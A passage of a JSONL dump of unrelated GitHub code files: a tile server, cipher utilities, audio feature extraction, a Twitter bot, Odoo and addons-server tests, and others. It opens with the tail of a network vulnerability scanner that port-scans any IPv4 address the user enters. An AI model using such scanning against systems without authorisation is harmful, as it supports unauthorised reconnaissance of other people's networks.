user_system_check\n\n\ndef target_ip() -> str:\n \"\"\"Get the target IPv4 address from the user input.\n\n Returns:\n str: The IPv4 address.\n \"\"\"\n try:\n ip = input(\"\\033[1;33m\" + \"Enter IPv4: \" + \"\\033[1;35m\")\n print(\"\\033[0m\", end=\"\")\n socket.inet_aton(ip)\n except socket.error:\n print(\"Invalid IPv4\")\n exit()\n\n return ip\n\n\nif __name__ == \"__main__\":\n user_system_check()\n admin_check()\n\n print(ART[random.randint(0, len(ART) - 1)])\n print(NAME)\n\n ip = target_ip()\n icmp_trace(ip)\n established = scan_ports(ip)\n\n if not established:\n print(f\"{ip} is not listening on any port\")\n exit()\n\n menu(ip)\n","repo_name":"SnowBlueChain/network-vulnerability-scanner","sub_path":"src/netscanner.py","file_name":"netscanner.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"31592878964","text":"import BaseHTTPServer\nimport config\nimport pymongo\n\nclass Handler(BaseHTTPServer.BaseHTTPRequestHandler):\n\n\tdef __init__(self, request, client_address, server):\n\t\tclient = pymongo.MongoClient()\n\t\tself.db = client.tiles\n\t\tself.blank = self.db.blank.find_one({})\n\t\tBaseHTTPServer.BaseHTTPRequestHandler.__init__(self, request, client_address, server)\n\n\tdef do_GET(self):\n\t\tparams = self.path.split(\"/\")\n\n\t\tif len(params) == 3:\n\t\t\tquery = {\n\t\t\t\t\"id\": int(params[1]),\n\t\t\t\t\"xyz\": params[2]\n\t\t\t}\n\t\t\ttile = self.db.tiles.find_one(query)\n\t\t\tif tile is None or (\"blank\" in tile and tile[\"blank\"]):\n\t\t\t\tself.send_response(200)\n\t\t\t\tself.send_header(\"Content-type\", \"image/png\")\n\t\t\t\tself.end_headers()\n\t\t\t\tself.wfile.write(self.blank[\"tile\"])\n\t\t\telse:\n\t\t\t\tself.send_response(200)\n\t\t\t\tself.send_header(\"Content-type\", \"image/png\")\n\t\t\t\tself.end_headers()\n\t\t\t\tself.wfile.write(tile[\"tile\"])\n\nif __name__ == '__main__':\n\tserver_class = BaseHTTPServer.HTTPServer\n\thttpd = server_class((\"localhost\", 8080), Handler)\n\ttry:\n\t\thttpd.serve_forever()\n\texcept KeyboardInterrupt:\n\t\tpass\n\thttpd.server_close()","repo_name":"pieterprovoost/tileserver","sub_path":"tileserver.py","file_name":"tileserver.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74188640228","text":"from typing import Dict, Iterable, NewType, Tuple\nfrom math import log\nimport string\n\ndef convert_dna_string_to_map(dna_string: str) -> Dict[str, str]:\n letters: Iterable[str] = (x for x in string.ascii_uppercase)\n coupled = zip(letters, dna_string.upper()) # list() to convert it to a list\n return dict(coupled)\n\ndef encode_message(cipher: Dict[str, str], message: str) -> str:\n letters: Iterable[str] = iter(message)\n encripted_message = ''.join(map(lambda l: cipher[l] if cipher.get(l) is not None else l, letters))\n return encripted_message\n\ndef decode_message(cipher: Dict[str, str], message: str) -> str:\n inverted_cipher = invert_cipher(cipher)\n decripted_message = encode_message(inverted_cipher, message)\n return decripted_message\n\n\ndef invert_cipher(cipher: Dict[str, str]) -> Dict[str, str]:\n return dict([(v, k) for (k, v) in cipher.items()])\n\n\nUnigramKey = str\nBigramKey = Tuple[str, str]\n\ndef generate_language_model(content: str) -> Tuple[Dict[UnigramKey, float], Dict[BigramKey, float]]:\n unigrams_count = dict( ((k, 0.0) for k in string.ascii_uppercase) )\n bigrams_count = dict( (((old, curr), 0.0) for old in string.ascii_uppercase for curr in string.ascii_uppercase) )\n \n spaced_content = ''.join(map(lambda x: x if x.isalpha() else ' ', list(content.upper())))\n words = spaced_content.split()\n \n for word in words:\n first_char = word[0]\n if unigrams_count.get(first_char) is None:\n print(first_char)\n print(word)\n unigrams_count[first_char] += 1\n previous_char = first_char\n for char in word[1:]:\n bigrams_count[(previous_char, char)] += 1\n previous_char = char\n \n words_total = len(words)\n unigrams_total = len(unigrams_count)\n unigrams = dict( map(lambda x: (x[0], (x[1]+1) / (words_total + unigrams_total)), unigrams_count.items()) )\n\n bigrams = dict()\n for (o, c) in bigrams_count:\n bigrams[(o, c)] = (bigrams_count[(o,c)] + 1) / (unigrams_count[o] + unigrams_total)\n\n return (unigrams, bigrams)\n\nLanguageModel = Tuple[Dict[UnigramKey, float], Dict[BigramKey, float]]\n\ndef compute_log_likelihood(model: LanguageModel, message: str) -> float:\n spaced_message = ''.join(map(lambda x: x if x.isalpha() else ' ', list(message.upper())))\n words = spaced_message.split()\n\n unigrams = model[0]\n bigrams = model[1]\n \n log_likelihood = 0.0\n\n for word in words:\n first_char = word[0]\n log_likelihood += unigrams[first_char]\n previous_char = first_char\n for char in word[1:]:\n log_likelihood += bigrams[(previous_char, char)]\n previous_char = char\n\n return log_likelihood\n\n","repo_name":"KeAiMianYang/work_repo_training","sub_path":"Python/machine_learning/cipher/cipher_utils.py","file_name":"cipher_utils.py","file_ext":"py","file_size_in_byte":2726,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"19823703944","text":"\"\"\"\nExamples:\npython mel_mfcc_extract_features.py \\\n --csv-path data/CMU-MOSEI/Labels/Data_Train_modified.csv \\\n --source-dir data/CMU-MOSEI/Audio_chunk/Train_modified \\\n --target-dir data/CMU-MOSEI/audio_featrues/train_modified\n\npython mel_mfcc_extract_features.py \\\n --csv-path data/CMU-MOSEI/Labels/Data_Val_modified.csv \\\n --source-dir data/CMU-MOSEI/Audio_chunk/Val_modified \\\n --target-dir data/CMU-MOSEI/audio_featrues/val_modified\n\npython mel_mfcc_extract_features.py \\\n --csv-path data/CMU-MOSEI/Labels/Data_Test_original_without_neg_time.csv \\\n --source-dir data/CMU-MOSEI/Audio_chunk/Test_original \\\n --target-dir data/CMU-MOSEI/audio_featrues/test_original\n\"\"\"\nimport argparse\nfrom pathlib import Path\n\nimport gensim\nimport nltk\nimport numpy as np\nimport pandas as pd\nimport torch\nimport torchaudio.transforms as T\nimport soundfile as sf\nfrom tqdm.auto import tqdm\nimport matplotlib.pyplot as plt\n\nfrom utils.parameters import PUNCTUATION\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)\n parser.add_argument(\"--csv-path\", type=Path)\n parser.add_argument(\"--source-dir\", type=Path)\n parser.add_argument(\"--target-dir\", type=Path)\n return parser\n\n\ndef tokenize(text: str, remove_punctuation: bool = True) -> list[str]:\n text = text.lower()\n tokens = nltk.word_tokenize(text)\n if remove_punctuation:\n tokens = [token for token in tokens if token not in PUNCTUATION]\n return tokens\n\n\nif __name__ == \"__main__\":\n parser = get_parser()\n args = parser.parse_args()\n\n csv_path: Path = args.csv_path\n source_dir: Path = args.source_dir\n target_dir: Path = args.target_dir\n assert source_dir.exists() and csv_path.exists()\n target_dir.mkdir(parents=True, exist_ok=True)\n\n MelSpectrogram_transform = T.MelSpectrogram(\n 16000,\n n_fft=480,\n hop_length=160,\n f_max=8000,\n center=True,\n n_mels=95,\n window_fn=torch.hamming_window,\n normalized=True,\n mel_scale=\"slaney\",\n )\n MFCC_transform = T.MFCC(\n 16000,\n n_mfcc=95,\n log_mels=True,\n melkwargs={\n \"n_fft\": 480,\n \"hop_length\": 160,\n \"n_mels\": 95,\n \"center\": True,\n \"window_fn\": torch.hamming_window,\n \"normalized\": True,\n \"f_max\": 8000,\n },\n )\n\n csv = pd.read_csv(csv_path)[[\"video\", \"start_time\", \"end_time\"]]\n\n for ytid, start_time, end_time in tqdm(csv.values):\n stem = f\"{ytid}_{float(start_time):.4f}_{float(end_time):.4f}\"\n\n try:\n audio, sr = sf.read(source_dir / f\"{stem}.wav\", dtype=np.float32)\n audio = audio[0 : sr * 5]\n padded_audio = np.zeros(sr * 5, dtype=audio.dtype)\n padded_audio[0 : audio.shape[0]] = audio\n audio = torch.from_numpy(padded_audio).unsqueeze(0)\n\n mel_spectrogram = MelSpectrogram_transform(audio)\n mfcc = MFCC_transform(audio)\n feature = torch.cat((mel_spectrogram, mfcc), dim=0)\n torch.save(feature, target_dir / f\"{stem}.pt\")\n\n except Exception as exception:\n print(exception)\n","repo_name":"SazerLife/emotion-recognition","sub_path":"mel_mfcc_extract_features.py","file_name":"mel_mfcc_extract_features.py","file_ext":"py","file_size_in_byte":3218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18931409612","text":"\r\nprint(\"Fibbonacci sequence\")\r\n\r\nn = float(input(\"enter the value of n: \"))\r\n\r\ndef fib(n):\r\n if n < 2:\r\n return n\r\n else:\r\n # fn = fn-1 + fn-2\r\n # example: n = 8 then 13 + 8 = 21.\r\n return fib(n - 1) + fib(n - 2)\r\n # 8n - 1 = 7n = 13 #8n - 2 = 6n = 8\r\nprint(fib(n))","repo_name":"KevinKupervaser/path_to_glory","sub_path":"Fibonacciseries.py","file_name":"Fibonacciseries.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18763424395","text":"#!/usr/bin/env python3\n\nimport configparser\nimport peewee\nimport datetime\nimport sys\nimport os\nimport jsonpickle\nimport json\n\nfrom tweepy.streaming import StreamListener\nfrom tweepy import OAuthHandler\nfrom tweepy import Stream\nfrom tweepy import API, Cursor, Friendship\n\nfrom model import Tweet, User, BeerCode\n\nimport time\n\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\n\n# Go to http://apps.twitter.com and create an app.\n# The consumer key and secret will be generated for you after\nconsumer_key = config['credentials']['consumer_key']\nconsumer_secret = config['credentials']['consumer_secret']\n\n# After the step above, you will be redirected to your app's page.\n# Create an access token under the the \"Your access token\" section\naccess_token = config['credentials']['access_token']\naccess_token_secret = config['credentials']['access_token_secret']\n\nauth = OAuthHandler(consumer_key, consumer_secret)\nauth.set_access_token(access_token, access_token_secret)\n\napi = API(auth, wait_on_rate_limit=True, wait_on_rate_limit_notify=True)\n\n# horrible\n#while True:\nfor n in range(1):\n #time.sleep(1)\n\n #get 1 twtit to process from database\n try:\n tweet = Tweet.select().where(Tweet.processed==False).get()\n except Tweet.DoesNotExist:\n tweet = None\n continue\n\n #if tweet is None:\n # continue\n\n #check if user had more than 3 beers\n if (tweet.user.beers < int(config['sysarmy']['max_beers'])):\n print (\"Assign Beer to user\", tweet.user.user_id)\n # Get Free Beer Code\n try:\n beer_code = BeerCode.select().where(BeerCode.used == False).get()\n except BeerCode.DoesNotExist:\n beer_code = None\n\n #Fix this shit while getting beer_codes when there are none available it breaks.\n if beer_code is not None:\n #Assign beer code to tweet\n tweet.beer_code=beer_code.beer_code\n tweet.process_try=+1\n\n #Try to send the message to the user\n #api.send_direct_message(18344450, 'code: ABC1234')\n dm_text = 'Beer Code = %s' % beer_code.beer_code\n friends = api.show_friendship(source_screen_name='sysarmy', target_id=tweet.user.user_id)\n\n\n print('Can DM?', friends)\n #re = api.send_direct_message('jedux',text=dm_text)\n\n #if success bla\n\n #if it fails bla bla bla\n tweet.user.beers += 1\n tweet.user.save()\n\n tweet.beer_code = beer_code.beer_code\n tweet.process_try += 1\n tweet.processed = True\n tweet.save()\n\n beer_code.user=tweet.user\n beer_code.timestamp=datetime.datetime.now()\n beer_code.used=True\n beer_code.save()\n else:\n print(\"Out of Beer\")\n tweet.beer_code = \"FUCK\"\n tweet.process_try += 1\n tweet.processed = True\n tweet.save()\n\n\n else:\n print (\"User Quota exceeded, dumping tweet\")\n tweet.beer_code = \"OVER QUOTA\"\n tweet.processed=True\n tweet.save()\n","repo_name":"nicolas17/adminfest-twitbot","sub_path":"worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":3155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"21535372463","text":"from openerp.tests.common import TransactionCase\n\n\nclass TestIntSaleToReservation(TransactionCase):\n \"\"\"Integration tests of the propagation of the owner.\n\n Here we check the whole trip from the quotation line to the reservation of\n the stock.\n\n \"\"\"\n\n def test_one_line_with_owner_reserves_its_stock(self):\n self.sol.stock_owner_id = self.owner1\n self.so.action_button_confirm()\n\n picking = self.so.picking_ids\n picking.action_assign()\n self.assertEqual('assigned', picking.state)\n self.assertEqual(self.owner1,\n picking.move_lines.reserved_quant_ids.owner_id)\n\n def test_one_line_without_owner_reserves_my_stock(self):\n self.so.action_button_confirm()\n\n picking = self.so.picking_ids\n picking.action_assign()\n self.assertEqual('assigned', picking.state)\n self.assertEqual(self.my_partner,\n picking.move_lines.reserved_quant_ids.owner_id)\n\n def test_two_lines_one_with_owner_reserves_correct_stock(self):\n self.sol.copy({'stock_owner_id': self.owner1.id})\n self.so.action_button_confirm()\n\n picking = self.so.picking_ids\n picking.action_assign()\n self.assertEqual('assigned', picking.state)\n\n quant_owners = set([move.reserved_quant_ids.owner_id\n for move in picking.move_lines])\n\n self.assertEqual(set([self.my_partner, self.owner1]), quant_owners)\n\n def test_one_line_without_owner_insufficient_stock_respects_stock(self):\n self.sol.product_uom_qty = 6000\n self.so.action_button_confirm()\n\n picking = self.so.picking_ids\n picking.action_assign()\n self.assertEqual('partially_available', picking.state)\n self.assertEqual(self.my_partner,\n picking.move_lines.reserved_quant_ids.owner_id)\n\n def setUp(self):\n super(TestIntSaleToReservation, self).setUp()\n\n self.owner1 = self.env.ref('base.res_partner_1')\n self.owner2 = self.env.ref('base.res_partner_2')\n customer = self.env.ref('base.res_partner_3')\n self.my_partner = self.env.user.company_id.partner_id\n\n # this product has no stock in demo data\n product = self.env.ref('product.product_product_36')\n\n quant = self.env['stock.quant'].create({\n 'qty': 5000,\n 'location_id': self.env.ref('stock.stock_location_stock').id,\n 'product_id': product.id,\n })\n\n quant.copy({'owner_id': self.owner1.id})\n quant.copy({'owner_id': self.owner2.id})\n\n self.so = self.env['sale.order'].create({\n 'partner_id': customer.id,\n })\n self.sol = self.env['sale.order.line'].create({\n 'name': '/',\n 'order_id': self.so.id,\n 'product_id': product.id,\n })\n","repo_name":"odoobgorg/addons","sub_path":"sale_owner_stock_sourcing/tests/test_int_sale_to_reservation.py","file_name":"test_int_sale_to_reservation.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"39051154132","text":"import pandas as pd\r\nfrom sklearn.metrics import accuracy_score, confusion_matrix\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom sklearn.feature_selection import RFE\r\n\r\ndef fitModel(data, n):\r\n train, test = train_test_split(data, test_size=0.2)\r\n logisticRegr = LogisticRegression()\r\n model = logisticRegr.fit(train.iloc[:, 0:n], train['Purchased'])\r\n pred = list(model.predict(test.iloc[:, 0:n]))\r\n fit = list(test['Purchased'])\r\n accuracy = accuracy_score(fit, pred)\r\n print(\"\\n\\nAccuracy: \")\r\n print(accuracy)\r\n print(\"\\n\\nConfusion Matrix: \")\r\n print(confusion_matrix(fit, pred))\r\n\r\ndata = pd.read_csv(\"C:/Users/hp/Documents/Google Drive NIIT/Semester 7/Business Analytics/Assignments/PythonAssign/Social_Network_Ads.csv\")\r\ndata['Gender'] = data['Gender'].map({'Female': 1, 'Male': 0})\r\nY = data['Purchased']\r\nX = data.iloc[:, 0:4]\r\nprint(\"\\n\\nBefore doing feature selection, accuracy and confusion matrix of original dataset is as follows:\\n\")\r\nfitModel(data, 4)\r\nselector = RFE(LogisticRegression(), 3)\r\nselector = selector.fit(X, Y)\r\nprint(\"\\nFeature selection gives ranking of predictors as: \")\r\nprint(selector.ranking_)\r\nprint(\"\\n\\nTherefore, 'Gender' is found to be of least importance in our model. So after dropping that column, our result is as follows:\")\r\ndata = data.drop(columns={\"Gender\"})\r\nfitModel(data, 3)\r\nprint(\"\\nTherefore most of the time, we got better result after removing one of the predictors.\")\r\n","repo_name":"Rishabhkandoi/Business-Analytics-Assignments","sub_path":"PythonAssign/Logistic.py","file_name":"Logistic.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35756259312","text":"import io\nimport re\nimport threading\nimport time\nfrom unittest import mock\n\nfrom django.conf import settings\nfrom django.core import management\nfrom django.db import connection\nfrom django.test.testcases import TransactionTestCase\n\nfrom celery import group, shared_task\nfrom celery.canvas import _chain\n\nfrom olympia.addons.models import Addon\nfrom olympia.amo.tests import ESTestCaseMixin, PatchMixin, addon_factory, reverse_ns\nfrom olympia.amo.utils import urlparams\nfrom olympia.search.management.commands import reindex\nfrom olympia.search.models import Reindexing\n\n\n@shared_task\ndef dummy_task():\n return None\n\n\nclass TestIndexCommand(ESTestCaseMixin, PatchMixin, TransactionTestCase):\n def setUp(self):\n super().setUp()\n if Reindexing.objects.is_reindexing():\n Reindexing.objects.unflag_reindexing()\n\n self.url = reverse_ns('addon-search')\n\n # We store previously existing indices in order to delete the ones\n # created during this test run.\n self.indices = self.es.indices.stats()['indices'].keys()\n\n self.addons = []\n self.expected = self.addons[:]\n # Monkeypatch Celerys \".get()\" inside async task error\n # until https://github.com/celery/celery/issues/4661 (which isn't just\n # about retries but a general regression that manifests only in\n # eager-mode) fixed.\n self.patch('celery.app.task.denied_join_result')\n\n def tearDown(self):\n current_indices = self.es.indices.stats()['indices'].keys()\n for index in current_indices:\n if index not in self.indices:\n self.es.indices.delete(index=index, ignore=404)\n super().tearDown()\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n try:\n assert not Addon.objects.exists(), Addon.objects.values('id', 'slug')\n except AssertionError as ae:\n Addon.objects.all().delete()\n raise ae\n\n def check_settings(self, new_indices):\n \"\"\"Make sure the indices settings are properly set.\"\"\"\n\n for index, alias in new_indices:\n settings = self.es.indices.get_settings(index=alias)[index]['settings']\n\n # These should be set in settings_test.\n assert int(settings['index']['number_of_replicas']) == 0\n assert int(settings['index']['number_of_shards']) == 1\n\n def check_results(self, expected):\n \"\"\"Make sure the expected addons are listed in a standard search.\"\"\"\n response = self.client.get(urlparams(self.url, sort='downloads'))\n assert response.status_code == 200\n got = self.get_results(response)\n\n for addon in expected:\n assert addon.pk in got, f'{addon.pk} is not in {got}'\n return response\n\n def get_results(self, response):\n \"\"\"Return pks of add-ons shown on search results page.\"\"\"\n results = response.data['results']\n return [item['id'] for item in results]\n\n @classmethod\n def get_indices_aliases(cls):\n \"\"\"Return the test indices with an alias.\"\"\"\n indices = cls.es.indices.get_alias()\n items = [\n (index, list(aliases['aliases'].keys())[0])\n for index, aliases in indices.items()\n if len(aliases['aliases']) > 0 and index.startswith('test_')\n ]\n items.sort()\n return items\n\n def _test_reindexation(self, wipe=False):\n # Current indices with aliases.\n old_indices = self.get_indices_aliases()\n\n # This is to start a reindexation in the background.\n class ReindexThread(threading.Thread):\n def __init__(self):\n self.stdout = io.StringIO()\n super().__init__()\n\n def run(self):\n # We need to wait at least a second, to make sure the alias\n # name is going to be different, since we already create an\n # alias in setUpClass.\n time.sleep(1)\n management.call_command(\n 'reindex', wipe=wipe, noinput=True, stdout=self.stdout\n )\n\n t = ReindexThread()\n t.start()\n\n # Wait for the reindex in the thread to flag the database.\n # The database transaction isn't shared with the thread, so force the\n # commit.\n while t.is_alive() and not Reindexing.objects.is_reindexing():\n connection._commit()\n\n if not wipe:\n # We should still be able to search in the foreground while the\n # reindex is being done in the background. We should also be able\n # to index new documents, and they should not be lost.\n old_addons_count = len(self.expected)\n while t.is_alive() and len(self.expected) < old_addons_count + 3:\n self.expected.append(addon_factory())\n connection._commit()\n # We don't know where the search will happen, the reindexing\n # could be over by now. So force a refresh on *all* indices.\n self.refresh(None)\n self.check_results(self.expected)\n\n if len(self.expected) == old_addons_count:\n raise AssertionError(\n 'Could not index objects in foreground while reindexing '\n 'in the background. (expected: %d)' % len(self.expected)\n )\n\n t.join() # Wait for the thread to finish.\n t.stdout.seek(0)\n stdout = t.stdout.read()\n assert 'Reindexation done' in stdout, stdout\n\n # The reindexation is done, let's double check we have all our docs.\n connection._commit()\n self.refresh()\n self.check_results(self.expected)\n\n # New indices have been created, and aliases now point to them.\n new_indices = self.get_indices_aliases()\n assert len(new_indices)\n assert old_indices != new_indices, (stdout, old_indices, new_indices)\n\n self.check_settings(new_indices)\n\n def test_reindexation_starting_from_zero_addons(self):\n self._test_reindexation()\n\n def test_reindexation_starting_from_one_addon(self):\n self.addons.append(addon_factory())\n self.expected = self.addons[:]\n self.refresh()\n self.check_results(self.expected)\n self._test_reindexation()\n\n def test_reindexation_with_wipe(self):\n self.addons.append(addon_factory())\n self.expected = self.addons[:]\n self.refresh()\n self.check_results(self.expected)\n self._test_reindexation(wipe=True)\n\n @mock.patch.object(reindex, 'gather_index_data_tasks')\n def _test_workflow(self, key, gather_index_data_tasks_mock):\n command = reindex.Command()\n alias = settings.ES_INDEXES[key]\n # Patch reindex.gather_index_data_tasks so that it returns a group of\n # dummy tasks - otherwise the chain would not contain the indexation\n # tasks (since there aren't any add-ons to index) and that's what we\n # really care about.\n gather_index_data_tasks_mock.return_value = group([dummy_task.si()] * 42)\n workflow = command.create_workflow(alias)\n\n # Make sure we called gather_index_data_tasks_mock with the alias and\n # timestamped index.\n expected_index = alias\n assert gather_index_data_tasks_mock.call_args[0][0] == expected_index\n assert gather_index_data_tasks_mock.call_args[0][1].startswith(expected_index)\n assert re.search('[0-9]{14}$', gather_index_data_tasks_mock.call_args[0][1])\n\n # Inspect workflow to make sure it contains what we expect. We should\n # have a chain with a few startup tasks, then a chord that indexes the\n # data and finishes with cleanup tasks.\n assert isinstance(workflow, _chain)\n\n expected_tasks = [\n 'olympia.search.management.commands.reindex.create_new_index',\n 'olympia.search.management.commands.reindex.flag_database',\n 'celery.chord',\n ]\n assert expected_tasks == [task.name for task in workflow.tasks]\n\n reindex_chord = workflow.tasks[2]\n\n expected_header = ['olympia.search.tests.test_commands.dummy_task'] * 42\n assert expected_header == [task.name for task in reindex_chord.tasks]\n\n expected_body = [\n 'olympia.search.management.commands.reindex.update_aliases',\n 'olympia.search.management.commands.reindex.unflag_database',\n ]\n assert isinstance(reindex_chord.body, _chain)\n for i, task_name in enumerate(expected_body):\n assert task_name == reindex_chord.body.tasks[i].name\n # Note: there might be an extra task at the end of the chain to delete\n # existing indexes depending on how tests are called/set up.\n\n def test_create_workflow_addons(self):\n \"\"\"\n Test tasks returned by create_workflow() as used by reindex command,\n for addons.\n \"\"\"\n self._test_workflow('default')\n","repo_name":"mozilla/addons-server","sub_path":"src/olympia/search/tests/test_commands.py","file_name":"test_commands.py","file_ext":"py","file_size_in_byte":9010,"program_lang":"python","lang":"en","doc_type":"code","stars":844,"dataset":"github-code","pt":"71"} +{"seq_id":"10125853316","text":"import unittest\n\nfrom metadata_registration_lib.other_utils import str_to_bool\n\n\nclass TestSimpleFunctions(unittest.TestCase):\n def test_str_to_bool(self):\n for s in [\"true\", \"1\", \"yes\", \"y\", \"on\", \"t\"]:\n assert str_to_bool(s) == True\n\n for s in [\"n\", \"0\", \"None\", \"off\", \"f\", \"\"]:\n assert str_to_bool(s) == False\n","repo_name":"bedapub/metadata-registration-lib","sub_path":"test/test_other_utils.py","file_name":"test_other_utils.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"12869873713","text":"\"\"\"\nmiddle 模拟题\n2021-07-20\n越界判断的思路很好\nhttps://leetcode-cn.com/problems/ba-zi-fu-chuan-zhuan-huan-cheng-zheng-shu-lcof/\n\"\"\"\n# ord('a') 97\n# ord('c') 99\n# 字符转数字: “此数字的 ASCII 码” 与 “0 的 ASCII 码” 相减即可;\nclass Solution:\n def strToInt(self, strs: str) -> int:\n res, sign = 0, 1\n strs = strs.strip()\n if not strs:return 0\n for i in range(len(strs)):\n ch = strs[i]\n if i == 0 and (ch == '-' or ch == '+'):\n if ch == '-': sign = -1\n if ch == '+': sign = 1\n continue # 应对-123,是+-号之后就不用判断是否数字了\n if not ch.isdigit(): break # 如果不是数字\n res = 10 * res + ord(ch) - ord('0')\n # 如果下越界 就返回-2**31 如果上越界返回2**31-1\n return max(-2 ** 31, -1 * res) if sign == -1 else min(2 ** 31 - 1, res)\n\nif __name__ == '__main__':\n s = \" -42\"\n print(Solution().strToInt(s))","repo_name":"michelleweii/LeetcodeWei","sub_path":"16_剑指offer二刷/剑指 Offer 67-把字符串转换成整数.py","file_name":"剑指 Offer 67-把字符串转换成整数.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"74028158630","text":"from typing import List\nfrom src.models.user import User\nfrom src.models.message import Message, MessageDB, SendMessageManagerData\nfrom src.database.manager import DBManager\nfrom src.models.managers.user import UserManager\nimport pdb\n\nclass MessageManager(DBManager):\n \"\"\" Message requests manager \"\"\"\n\n def __init__(self):\n self.user_manager = UserManager()\n self.collection_name = 'jobs'\n \n async def serializeOne(self, message_q:dict) -> Message:\n \"\"\" message serializer \"\"\"\n user:User = await self.user_manager.get_user(user_id=message_q['user_id'])\n message:Message = Message(\n id=str(message_q['_id']),\n text=str(message_q['text']),\n user=user\n )\n return message\n\n async def get_messages(self) -> List[Message]:\n \"\"\" get all available message request \"\"\"\n await self.connect_to_database()\n messages_q:List[Message]= self.db['messages'].find()\n messages:List[Message] = []\n async for message_q in messages_q:\n messages.append(await self.serializeOne(message_q))\n return messages\n\n async def insert_message(self, data:SendMessageManagerData) -> Message:\n \"\"\" insert new message request \"\"\"\n await self.connect_to_database()\n user:User = await self.user_manager.get_user(str(data.user_id))\n created_message = await self.db['messages'].insert_one(\n MessageDB(text=data.text, user_id=str(user.id)).dict()\n )\n return created_message\n","repo_name":"Hophoet/yeya.api","sub_path":"src/models/managers/message.py","file_name":"message.py","file_ext":"py","file_size_in_byte":1541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"35982560937","text":"import gspread\n\napi_access = gspread.service_account(filename='quick.json')\nsheet = api_access.open_by_key('1auSrclKnO7PW4_Dy2zAi_L59AsOdc4PBJPWRVoFD5kU')\n\nws = sheet.sheet1\n#result = ws.get_all_records()\n#result = ws.get_all_values()\n#result = ws.col_values(1)\n# result = ws.get('A2:C2')\n# add = [100, 1000, 10000]\n# ws.append_row(add)\n# ws.delete_columns(1)\n# ws.delete_row(1)\n\n\n\n","repo_name":"AbuBakkar32/Machine-Learning-Practice","sub_path":"API/GoogleSheet.py","file_name":"GoogleSheet.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"71"} +{"seq_id":"22609255529","text":"from collections import defaultdict\nimport csv\nfrom functools import partial\nimport itertools\nimport multiprocessing\nimport os\nimport random\nimport sys\nfrom typing import Any, Dict, List, Tuple\n\n\nfrom deduce_uces.Genome import Genome\nfrom deduce_uces.io.fasta import read_fasta_sequences, write_fasta\nfrom deduce_uces.io.sam import parse_sam_lazy\nfrom deduce_uces.Logger import ConsoleLogger, Logger\nfrom deduce_uces.mappers.mapper import Mapper, MappingOutputType, MappingParameters\nfrom deduce_uces.mappers.minimap_mapper import MinimapMapper\nfrom deduce_uces.run import ProgramContext\n\n\ndef is_block_valid(\n block: List[str], uce_positions: Dict[str, List[Tuple[str, int]]]\n) -> bool:\n assert len(block) >= 2\n\n if not all(u in uce_positions for u in block):\n return False\n\n positions_run = [uce_positions[uce_id] for uce_id in block]\n\n for path in itertools.product(*positions_run):\n if not len(set(p[0] for p in path)) == 1:\n continue\n\n last_position = path[0]\n\n valid = True\n for uce in path[1:]:\n if uce[0] != last_position[0] or uce[1] <= last_position[1]:\n valid = False\n break\n\n last_position = uce\n if valid:\n return True\n\n return False\n\n\ndef process_job(\n job: Tuple[str, str],\n blocks: List[List[str]],\n pickled_logger: Any,\n max_mapping_mismatches: int,\n working_dir: str,\n):\n os.chdir(working_dir)\n assembly, sam_filename = job\n logger = ConsoleLogger.from_pickleable(pickled_logger)\n logger.debug(f\"Processing alignments for assembly: {assembly}\")\n\n uce_positions = defaultdict(list)\n for alignment in parse_sam_lazy(\n sam_filename, max_mapping_mismatches, logger, False\n ):\n uce_positions[alignment.query_name].append(\n (\n alignment.reference_name,\n alignment.position,\n )\n )\n\n logger.debug(f\"Read alignments for assembly: {assembly}\")\n\n valid_blocks = len([b for b in blocks if is_block_valid(b, uce_positions)])\n logger.debug(f\"Found valid blocks for assembly: {assembly}\")\n invalid_blocks = len(blocks) - valid_blocks\n\n result = [os.path.basename(assembly), valid_blocks, invalid_blocks]\n\n out = csv.writer(sys.stdout)\n out.writerow(result)\n return os.path.basename(assembly), valid_blocks, invalid_blocks\n\n\ndef run_measure_assembly_contiguity(args, logger: Logger):\n context = ProgramContext(\n threads=args.threads,\n working_dir=os.curdir,\n logger=logger,\n )\n\n os.chdir(context.working_dir)\n\n context.logger.info(f\"Reading UCEs...\")\n sequences = {s.id: str(s.seq) for s in read_fasta_sequences(args.uces)}\n\n context.logger.info(f\"Reading blocks...\")\n with open(args.blocks) as f:\n blocks = [line.strip().split(\",\") for line in f]\n\n relevant_uce_ids = set(u for b in blocks for u in b)\n\n block_seqs = [(id, seq) for id, seq in sequences.items() if id in relevant_uce_ids]\n\n context.logger.info(f\"Preparing query...\")\n temp_fasta_filename = f\"contiguity_query_{random.randint(0,10000)}.deduce.fa\"\n write_fasta(temp_fasta_filename, block_seqs)\n\n if args.output_format == 